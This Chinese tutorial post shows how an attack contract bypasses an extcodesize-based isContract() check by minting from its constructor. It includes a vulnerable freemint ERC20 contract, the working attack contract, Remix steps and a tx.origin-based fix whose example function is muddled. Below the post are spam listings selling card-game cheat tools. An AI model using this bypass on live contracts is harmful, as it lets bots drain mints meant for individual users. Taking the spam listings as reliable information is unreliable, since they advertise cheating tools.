绕过合约检查
创始人
2024-11-05 10:33:49
0

绕过合约检查​

很多 freemint 的项目为了限制科学家(程序员)会用到 isContract() 方法,希望将调用者 msg.sender 限制为外部账户(EOA),而非合约。这个函数利用 extcodesize 获取该地址所存储的 bytecode 长度(runtime),若大于0,则判断为合约,否则就是EOA(用户)。

        // 利用 extcodesize 检查是否为合约     function isContract(address account) public view returns (bool) {         // extcodesize > 0 的地址一定是合约地址         // 但是合约在构造函数时候 extcodesize 为0         uint size;         assembly {             size := extcodesize(account)         }         return size > 0;     } 

这里有一个漏洞,就是在合约在被创建的时候,runtime bytecode 还没有被存储到地址上,因此 bytecode 长度为0。也就是说,如果我们将逻辑写在合约的构造函数 constructor 中的话,就可以绕过 isContract() 检查。

漏洞例子​

下面我们来看一个例子:ContractCheck合约是一个 freemint ERC20 合约,铸造函数 mint() 中使用了 isContract() 函数来阻止合约地址的调用,防止科学家批量铸造。每次调用 mint() 可以铸造 100 枚代币。

// 用extcodesize检查是否为合约地址 contract ContractCheck is ERC20 {     // 构造函数:初始化代币名称和代号     constructor() ERC20("", "") {}          // 利用 extcodesize 检查是否为合约     function isContract(address account) public view returns (bool) {         // extcodesize > 0 的地址一定是合约地址         // 但是合约在构造函数时候 extcodesize 为0         uint size;         assembly {             size := extcodesize(account)         }         return size > 0;     }      // mint函数,只有非合约地址能调用(有漏洞)     function mint() public {         require(!isContract(msg.sender), "Contract not allowed!");         _mint(msg.sender, 100);     } } 

我们写一个攻击合约,在 constructor 中多次调用 ContractCheck 合约中的 mint() 函数,批量铸造 1000 枚代币:

// 利用构造函数的特点攻击 contract NotContract {     bool public isContract;     address public contractCheck;      // 当合约正在被创建时,extcodesize (代码长度) 为 0,因此不会被 isContract() 检测出。     constructor(address addr) {         contractCheck = addr;         isContract = ContractCheck(addr).isContract(address(this));         // This will work         for(uint i; i < 10; i++){             ContractCheck(addr).mint();         }     }      // 合约创建好以后,extcodesize > 0,isContract() 可以检测     function mint() external {         ContractCheck(contractCheck).mint();     } } 

如果我们之前讲的是正确的话,在构造函数调用 mint() 可以绕过 isContract() 的检查成功铸造代币,那么函数将成功部署,并且状态变量 isContract 会在构造函数赋值 false。而在合约部署之后,runtime bytecode 已经被存储在合约地址上了,extcodesize > 0, isContract() 能够成功阻止铸造,调用 mint() 函数将失败。

Remix 复现​

  1. 部署 ContractCheck 合约。

  2. 部署 NotContract 合约,参数为 ContractCheck 合约地址。

  3. 调用 ContractCheck 合约的 balanceOf 查看 NotContract 合约的代币余额为 1000,攻击成功。

  4. 调用NotContract 合约的 mint() 函数,由于此时合约已经部署完成,调用 mint() 函数将失败。

预防办法​

你可以使用 (tx.origin == msg.sender) 来检测调用者是否为合约。如果调用者为 EOA,那么tx.originmsg.sender相等;如果它们俩不相等,调用者为合约。

function realContract(address account) public view returns (bool) {    return (tx.origin == msg.sender);} 

相关内容

热门资讯

最新消息!微乐陕西小程序破解器... 最新消息!微乐陕西小程序破解器(辅助)好像是有辅助app(果真有挂)所有人都在同一条线上,像星星一样...
软件辅助挂!潮友软件辅助器脚本... 软件辅助挂!潮友软件辅助器脚本(辅助)都是存在有辅助app(了解有挂)1、玩家可以在潮友软件辅助器脚...
第三方插件!填大坑辅助器视频(... 第三方插件!填大坑辅助器视频(辅助)好像真的是有辅助工具(证实有挂)1、填大坑辅助器视频模拟器是什么...
受玩家影响!途游游戏辅助软件(... 受玩家影响!途游游戏辅助软件(辅助)好像存在有辅助插件(有挂详细)亲,关键说明,途游游戏辅助软件透视...
最终!蜀渝牌乐汇辅助(辅助)本... 最终!蜀渝牌乐汇辅助(辅助)本来确实有辅助方法(揭秘有挂);1、进入游戏-大厅左侧-新手福利-激活码...
总结辅助挂!鸿狐辅助开挂透视(... 您好,鸿狐辅助开挂透视这款游戏可以开挂的,确实是有挂的,需要了解加去威信【485275054】很多玩...
经调查!苹果手机闲逸辅助器(辅... 经调查!苹果手机闲逸辅助器(辅助)总是真的有辅助脚本(有挂辅助)1、许多玩家不知道苹果手机闲逸辅助器...
针对!山西扣点点辅助工具免费(... 针对!山西扣点点辅助工具免费(辅助)竟然存在有辅助技巧(有挂实锤)针对!山西扣点点辅助工具免费(辅助...
为了进一步!欢乐情怀怎么开挂(... 为了进一步!欢乐情怀怎么开挂(辅助)一贯是真的有辅助神器(有挂秘诀)1、金币登录送、破产送、升级送、...
此事引发网友热议!凑一桌游戏软... 此事引发网友热议!凑一桌游戏软件下载(辅助)确实是真的有辅助方法(揭秘有挂)此事引发网友热议!凑一桌...